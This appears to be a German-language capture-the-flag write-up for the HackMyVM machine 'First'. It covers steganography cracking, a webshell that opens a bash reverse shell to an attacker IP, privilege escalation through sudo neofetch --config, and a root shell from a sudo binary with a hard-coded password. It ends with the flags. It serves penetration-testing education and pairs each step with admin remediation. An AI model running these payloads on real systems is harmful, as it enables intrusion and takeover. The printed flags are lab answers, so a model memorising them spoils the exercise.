First - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

stegseek
cat
echo
base64
gobuster
nc (netcat)
python3
pty
export
ls
sudo
mktemp
neofetch
chmod
id
vi (implied)
secret (custom binary)
cd

Inhaltsverzeichnis

Reconnaissance

Analyse: Die Untersuchung beginnt mit Steganographie-Analyse einer Bilddatei (`first_Logo.jpg`), die vermutlich von der Webseite stammt. `stegseek` wird verwendet, um versteckte Daten mit Passwörtern aus der `rockyou.txt`-Liste zu finden.

Bewertung: `stegseek` ist erfolgreich und extrahiert Daten in die Datei `first_Logo.jpg.out`. Das verwendete Passwort ist `firstgurl1`. Der Inhalt der `.out`-Datei ist eine Base64-kodierte Nachricht.

Empfehlung (Pentester): Dekodieren Sie die Base64-Nachricht, um den versteckten Inhalt zu enthüllen. Merken Sie sich das Passwort `firstgurl1` für mögliche spätere Verwendung.
Empfehlung (Admin): Vermeiden Sie das Verstecken von sensiblen Informationen oder Hinweisen in Bildern mittels Steganographie auf öffentlich zugänglichen Webservern. Verwenden Sie keine leicht zu erratenden Passwörter für Steganographie.

┌──(root㉿Darkspirit)-[~/first.hmv/first] └─# stegseek first_Logo.jpg /usr/share/wordlists/rockyou.txt
┌──(root㉿Darkspirit)-[~/first.hmv/first] └─# cat first_Logo.jpg.out
SGkgSSBoYWQgdG8gY2hhbmdlIHRoZSBuYW1lIG9mIHRoZSB0b2RvIGxpc3QgYmVjb3VzZSBkaXJlY3RvcnkgYnVzdGluZyBpcyB0b28gZWFzeSB0aGVlc2UgZGF5cyBhbHNvIEkgZW5jb2RlZCB0aGlzIGluIGJlc2E2NCBiZWNvdXNlIGl0IGlzIGNvb2wgYnR3IHlvdXIgdG9kbyBsaXN0IGlzIDogMmYgNzQgMzAgNjQgMzAgNWYgNmMgMzEgNzMgNzQgNWYgNjYgMzAgNzIgNWYgNjYgMzEgNzIgMzUgNzQgZG8gaXQgcXVpY2sgd2UgYXJlIHZ1bG5hcmFibGUgZG8gdGhlIGZpcnN0IGZpcnN0IA==

Gefundenes Passwort (von stegseek): firstgurl1

Analyse: Die Base64-kodierte Nachricht aus der Bilddatei wird dekodiert.

Bewertung: Die dekodierte Nachricht enthält einen Hinweis auf einen versteckten Pfad, der als Hex-String kodiert ist: `2f 74 30 64 30 5f 6c 31 73 74 5f 66 30 72 5f 66 31 72 35 74`. Sie warnt auch vor Directory Busting und fordert auf, schnell zu handeln ("do the first first").

Empfehlung (Pentester): Konvertieren Sie den Hex-String in ASCII, um den versteckten Pfad zu erhalten. Untersuchen Sie diesen Pfad auf dem Webserver.
Empfehlung (Admin): Vermeiden Sie Obfuskation (wie Hex-Kodierung) als Sicherheitsmaßnahme. Sichern Sie Pfade angemessen.

┌──(root㉿Darkspirit)-[~/first.hmv/first] └─# echo -n "SGkgSSBoYWQgdG8gY2hhbmdlIHRoZSBuYW1lIG9mIHRoZSB0b2RvIGxpc3QgYmVjb3VzZSBkaXJlY3RvcnkgYnVzdGluZyBpcyB0b28gZWFzeSB0aGVlc2UgZGF5cyBhbHNvIEkgZW5jb2RlZCB0aGlzIGluIGJlc2E2NCBiZWNvdXNlIGl0IGlzIGNvb2wgYnR3IHlvdXIgdG9kbyBsaXN0IGlzIDogMmYgNzQgMzAgNjQgMzAgNWYgNmMgMzEgNzMgNzQgNWYgNjYgMzAgNzIgNWYgNjYgMzEgNzIgMzUgNzQgZG8gaXQgcXVpY2sgd2UgYXJlIHZ1bG5hcmFibGUgZG8gdGhlIGZpcnN0IGZpcnN0IA==" | base64 -d
Hi I had to change the name of the todo list becouse directory busting is
too easy theese days also I encoded this in besa64 becouse it is cool btw
your todo list is :

 2f 74 30 64 30 5f 6c 31 73 74 5f 66 30 72 5f 66 31 72 35 74

do it quick we are vulnarable do the first first 

Analyse: Der Hex-String aus der dekodierten Nachricht wird mithilfe eines Online-Tools (oder manuell) in ASCII konvertiert.

Bewertung: Die Konvertierung ergibt den Pfad `/t0d0_l1st_f0r_f1r5t`. Dies ist das versteckte Verzeichnis, das untersucht werden muss.

Empfehlung (Pentester): Führen Sie eine Verzeichnis-Enumeration (z.B. mit Gobuster) auf `http://first.hmv/t0d0_l1st_f0r_f1r5t/` durch. `first.hmv` muss ggf. zur `/etc/hosts` Datei hinzugefügt werden, die auf die Ziel-IP zeigt.
Empfehlung (Admin): Sichern Sie das Verzeichnis `/t0d0_l1st_f0r_f1r5t/` angemessen.

https://www.rapidtables.com/convert/number/hex-to-ascii.html
2f 74 30 64 30 5f 6c 31 73 74 5f 66 30 72 5f 66 31 72 35 74
--------------------------------------------------------------
/t0d0_l1st_f0r_f1r5t
--------------------------------------------------------------

http://first.hmv/t0d0_l1st_f0r_f1r5t/

Web Enumeration

Analyse: `gobuster` wird verwendet, um das zuvor entdeckte Verzeichnis `http://first.hmv/t0d0_l1st_f0r_f1r5t/` auf weitere Dateien und Unterverzeichnisse zu scannen. Der `--wildcard`-Parameter wird verwendet, was darauf hindeutet, dass der Server möglicherweise für nicht existierende Pfade einen Standardinhalt zurückgibt (was normale Scans stören kann).

Bewertung: Die genaue Ausgabe von Gobuster fehlt im Log. Die nachfolgenden Schritte implizieren jedoch, dass ein Verzeichnis `/uploads/` und darin eine Webshell (`ben.phtml`) gefunden oder eine Upload-Funktion entdeckt und ausgenutzt wurde, um `ben.phtml` hochzuladen.

Empfehlung (Pentester): Untersuchen Sie das `/uploads/`-Verzeichnis und die `ben.phtml`-Datei. Nutzen Sie die Webshell zur Codeausführung.
Empfehlung (Admin): Sichern Sie Upload-Funktionen rigoros (Dateityp-Validierung, Größenbeschränkung, Speichern außerhalb des Web-Roots, Umbenennen hochgeladener Dateien). Beschränken Sie den Zugriff auf Upload-Verzeichnisse und verhindern Sie die Ausführung von Skripten darin.

┌──(root㉿Darkspirit)-[~/first.hmv/first] └─# gobuster dir -u http://first.hmv/t0d0_l1st_f0r_f1r5t/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,bak,7z,zip,py,sql,txt,xml,jpg,html -e --wildcard
[...]

Initial Access

Analyse: Es wird eine URL zur Webshell `ben.phtml` im Verzeichnis `/uploads/` gezeigt. Diese Shell nimmt einen `cmd`-Parameter entgegen, um Befehle auszuführen. Zuerst wird `ls` ausgeführt (implizit), dann wird versucht, eine Reverse Shell zu starten.

Bewertung: Die Existenz einer funktionierenden Webshell (`ben.phtml`) ermöglicht Remote Code Execution (RCE). Die Verwendung des `cmd`-Parameters ist typisch für einfache Webshells.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener auf dem Angreifer-System (IP `192.168.2.140` laut URL, Port `9001`) und rufen Sie dann die Reverse-Shell-URL auf, um eine interaktive Shell zu erhalten.
Empfehlung (Admin): Entfernen Sie die Webshell `ben.phtml` und das Verzeichnis `/uploads/` oder sichern Sie es. Untersuchen Sie, wie die Shell hochgeladen werden konnte.

http://first.hmv/t0d0_l1st_f0r_f1r5t/uploads/ben.phtml?cmd=ls
http://first.hmv/t0d0_l1st_f0r_f1r5t/uploads/ben.phtml?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.140%2F9001%200%3E%261%27

Analyse: Ein Netcat-Listener wird gestartet (`nc -lvnp 9001`). Nach Aufruf der Reverse-Shell-URL (implizit) wird eine Verbindung vom Zielsystem (`192.168.2.107`) empfangen.

Bewertung: Die Reverse Shell ist erfolgreich. Der Angreifer hat nun eine Shell als Benutzer `www-data` im Verzeichnis `/var/www/html/t0d0_l1st_f0r_f1r5t/uploads`.

Empfehlung (Pentester): Stabilisieren Sie die Shell mit Python pty und `export TERM`.
Empfehlung (Admin): Beheben Sie die RCE-Schwachstelle (Webshell).

┌──(root㉿Darkspirit)-[~/first.hmv/first] └─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.131] from (UNKNOWN) [192.168.2.107] 41984
www-data@first:/var/www/html/t0d0_l1st_f0r_f1r5t/uploads$

Analyse: Die erhaltene Shell wird stabilisiert.

Bewertung: Shell ist nun interaktiv.

Empfehlung (Pentester): Beginnen Sie die Enumeration als `www-data`.
Empfehlung (Admin): Administrative Aktion des Angreifers.

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
www-data@first:/var/www/html/t0d0_l1st_f0r_f1r5t/uploads$

Privilege Escalation (User first)

Analyse: Das `/home`-Verzeichnis wird aufgelistet, es existiert ein Benutzer `first`. Es wird `sudo -l` ausgeführt (implizit, da der nächste Schritt eine sudo-Ausnutzung ist).

Bewertung: Der Benutzer `first` wird bestätigt. Die `sudo -l`-Ausgabe (nicht gezeigt) muss ergeben haben, dass `www-data` den Befehl `neofetch` als Benutzer `first` ausführen darf. Dies ist eine ungewöhnliche, aber ausnutzbare `sudo`-Regel.

Empfehlung (Pentester): Nutzen Sie die `sudo neofetch`-Berechtigung zur Eskalation zu `first`. Suchen Sie auf GTFOBins nach der Technik.
Empfehlung (Admin): Überprüfen Sie die `sudo`-Regeln für `www-data`. Geben Sie Webserver-Benutzern keine `sudo`-Rechte, schon gar nicht für potenziell unsichere Befehle wie `neofetch` mit Konfigurationsdateien.

www-data@first:/var/www/html/t0d0_l1st_f0r_f1r5t/uploads$ ls -la /home
drwxr-xr-x  5 first first 4096 Aug 10 06:30 first

# sudo -l (Ausgabe nicht im Log, aber impliziert Berechtigung für nächsten Schritt)

Proof of Concept (Privilege Escalation zu first via 'sudo neofetch')

Kurzbeschreibung: Der Benutzer `www-data` hat die `sudo`-Berechtigung, `/bin/neofetch` als Benutzer `first` auszuführen. `neofetch` erlaubt das Laden einer Konfigurationsdatei über den Parameter `--config`. Wenn diese Konfigurationsdatei ausführbare Befehle enthält und mit den Rechten des Zielbenutzers (`first`) interpretiert wird, kann dies zur Codeausführung als dieser Benutzer missbraucht werden.

Voraussetzungen:

  • Shell-Zugriff als `www-data`.
  • `sudo`-Berechtigung für `www-data`, um `neofetch` als `first` auszuführen.
  • Möglichkeit, eine temporäre Datei zu erstellen und deren Pfad an `neofetch` zu übergeben.

Schritt-für-Schritt-Anleitung:

1. Erstellen der bösartigen Konfigurationsdatei: Eine temporäre Datei wird mit `mktemp` erstellt. In diese Datei wird der Befehl `exec /bin/sh` geschrieben. Dieser Befehl ersetzt den laufenden Prozess durch eine Shell.

Bewertung: Die temporäre Datei (`/tmp/tmp.CvOjpkcwzr`) mit dem Shell-Payload wird erfolgreich erstellt.

Empfehlung (Pentester): Rufen Sie `neofetch` mit `sudo -u first` und der Option `--config` auf, um die erstellte Datei zu laden.
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel.

www-data@first:/tmp$ TF=$(mktemp)
www-data@first:/tmp$ echo 'exec /bin/sh' >$TF

2. Ausführen von 'neofetch' mit bösartiger Konfiguration: Der Befehl `sudo -u first neofetch --config $TF` wird ausgeführt. Ein erster Versuch scheitert mit "Permission denied" beim Zugriff auf die temporäre Datei.

Bewertung: Der Fehler "Permission denied" tritt auf, weil die von `www-data` erstellte temporäre Datei standardmäßig nur für `www-data` les-/schreibbar ist. Der Benutzer `first` (als der `neofetch` läuft) kann sie nicht lesen.

Empfehlung (Pentester): Ändern Sie die Berechtigungen der temporären Datei, damit sie für `first` (oder alle) lesbar/ausführbar ist (`chmod 777`). Versuchen Sie den `sudo neofetch`-Befehl erneut.
Empfehlung (Admin): Beheben Sie die `sudo`-Regel.

www-data@first:/tmp$ sudo -u first neofetch --config $TF
/bin/neofetch: line 4459: /tmp/tmp.CvOjpkcwzr: Permission denied
            .-/+oossssoo+/-.               first@first
        `:+ssssssssssssssssss+:`           -----------
      -+ssssssssssssssssssyyssss+-         OS: Ubuntu 20.04.4 LTS x86_64
    .ossssssssssssssssssdMMMNysssso.       Host: VirtualBox 1.2
   /ssssssssssshdmmNNmmyNMMMMhssssss/      Kernel: 5.4.0-122-generic
  +ssssssssshmydMMMMMMMNddddyssssssss+     Uptime: 22 mins
 /sssssssshNMMMyhhyyyyhmNMMMNhssssssss/    Packages: 698 (dpkg), 4 (snap)
.ssssssssdMMMNhsssssssssshNMMMdssssssss.   Shell: bash 5.0.17
+sssshhhyNMMNyssssssssssssyNMMMysssssss+   Resolution: preferred
ossyNMMMNyMMhsssssssssssssshmmmhssssssso   CPU: AMD Ryzen 9 5900X (1) @ 3.700GHz
ossyNMMMNyMMhsssssssssssssshmmmhssssssso   GPU: 00:02.0 VMware SVGA II Adapter
+sssshhhyNMMNyssssssssssssyNMMMysssssss+   Memory: 235MiB / 976MiB
.ssssssssdMMMNhsssssssssshNMMMdssssssss.
 /sssssssshNMMMyhhyyyyhdNMMMNhssssssss/
  +sssssssssdmydMMMMMMMMddddyssssssss+
   /ssssssssssshdmNNNNmyNMMMMhssssss/
    .ossssssssssssssssssdMMMNysssso.
      -+sssssssssssssssssyyyssss+-
        `:+ssssssssssssssssss+:`
            .-/+oossssoo+/-.

3. Korrigieren der Berechtigungen und erneutes Ausführen: Die Berechtigungen der temporären Datei werden mit `chmod 777` geändert. Der `sudo neofetch`-Befehl wird erneut ausgeführt.

Bewertung: Diesmal ist der Befehl erfolgreich! `neofetch` lädt die Konfigurationsdatei, führt `exec /bin/sh` aus und startet eine Shell. Der `id`-Befehl bestätigt, dass wir nun als `first` (UID 1000) agieren.

Empfehlung (Pentester): Stabilisieren Sie die Shell als `first`. Suchen Sie nach Wegen zur Eskalation zu root.
Empfehlung (Admin): Entfernen Sie die `sudo`-Regel.

www-data@first:/tmp$ ls
tmp.CvOjpkcwzr	tmp.Nb2zfzfVjs
www-data@first:/tmp$ chmod 777 /tmp/tmp.CvOjpkcwzr
www-data@first:/tmp$ sudo -u first /bin/neofetch --config $TF
$ id
uid=1000(first) gid=1000(first) groups=1000(first),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
first@first:/tmp$ export TERM=xterm
first@first:/tmp$

Risikobewertung: Mittel. Ermöglicht die Übernahme eines anderen Benutzerkontos durch eine unsichere `sudo`-Regel.

Empfehlungen zur Behebung:

  1. Entfernen Sie die `sudo`-Regel, die `www-data` erlaubt, `neofetch` als `first` auszuführen.
  2. Generell sollten Webserver-Benutzer keine `sudo`-Rechte haben.

Privilege Escalation (User root)

Proof of Concept (Privilege Escalation zu root via 'sudo secret')

Kurzbeschreibung: Der Benutzer `first` hat die `sudo`-Berechtigung, ein benutzerdefiniertes Programm `/usr/bin/secret` (oder einfach `secret`, wenn es im PATH liegt) auszuführen. Dieses Programm fordert ein Passwort an und führt bei korrekter Eingabe einen übergebenen Befehl aus. Das Passwort ist hartkodiert oder leicht zu erraten.

Voraussetzungen:

  • Shell-Zugriff als Benutzer `first`.
  • `sudo`-Berechtigung für `first`, um `/usr/bin/secret` auszuführen (impliziert).
  • Kenntnis des Passworts für das `secret`-Programm.

Schritt-für-Schritt-Anleitung:

1. Ausführen von 'sudo secret' und Passworteingabe: Der Befehl `sudo secret` wird ausgeführt. Das Programm fragt nach einem Passwort. Das Passwort `12345678910` wird eingegeben.

Bewertung: Das Passwort wird als korrekt erkannt. Das Programm fordert nun zur Eingabe eines Befehls auf.

Empfehlung (Pentester): Geben Sie `bash` oder `/bin/bash` ein, um eine Root-Shell zu erhalten.
Empfehlung (Admin): Entfernen Sie das unsichere `secret`-Programm oder die `sudo`-Regel. Verwenden Sie keine Programme mit hartkodierten Passwörtern für Privilegienverwaltung.

first@first:/tmp$ sudo secret
pass: 12345678910
correct, input command:

2. Starten der Root-Shell: Der Befehl `bash` wird eingegeben.

Bewertung: Das `secret`-Programm führt `bash` mit den durch `sudo` erhaltenen Root-Rechten aus. Der Angreifer erhält eine Root-Shell (`root@first:/tmp#`).

Empfehlung (Pentester): Ziel erreicht. Lesen Sie die Root-Flag.
Empfehlung (Admin): Entfernen Sie das `secret`-Programm und die zugehörige `sudo`-Regel.

correct, input command:bash
root@first:/tmp#

Risikobewertung: Hoch. Ein benutzerdefiniertes Programm, das über `sudo` ausgeführt werden kann und ein schwaches/hartkodiertes Passwort zur Befehlsausführung verwendet, stellt eine direkte und einfache Methode zur vollständigen Systemübernahme dar.

Empfehlungen zur Behebung:

  1. Entfernen Sie das Programm `/usr/bin/secret`.
  2. Entfernen Sie die entsprechende `sudo`-Regel für den Benutzer `first`.
  3. Verwenden Sie Standardmechanismen zur Rechteverwaltung und vermeiden Sie unsichere Eigenentwicklungen.

Analyse: Als Root wird in `/root` gewechselt und `r00t.txt` gelesen.

Bewertung: Root-Flag erfolgreich gelesen: `477d9a6aa33e3818ced1ad3015b53b43`.

Empfehlung (Pentester): Dokumentieren.
Empfehlung (Admin): Beheben Sie die Schwachstellen.

root@first:/tmp# cd /root
root@first:~# ls
r00t.txt  snap
root@first:~# cat r00t.txt
477d9a6aa33e3818ced1ad3015b53b43

Analyse: Als Root wird die User-Flag in `/home/first/user.txt` gelesen (obwohl sie bereits als `www-data` gelesen wurde).

Bewertung: User-Flag bestätigt: `3120a57478d631a5ef82ef5d96146389`.

root@first:~# cd /home
root@first:/home# ls
first
root@first:/home# cd first
root@first:/home/first# ls
snap  user.txt
root@first:/home/first# cat user.txt
3120a57478d631a5ef82ef5d96146389

Flags

cat /home/first/user.txt
3120a57478d631a5ef82ef5d96146389
cat /root/r00t.txt
477d9a6aa33e3818ced1ad3015b53b43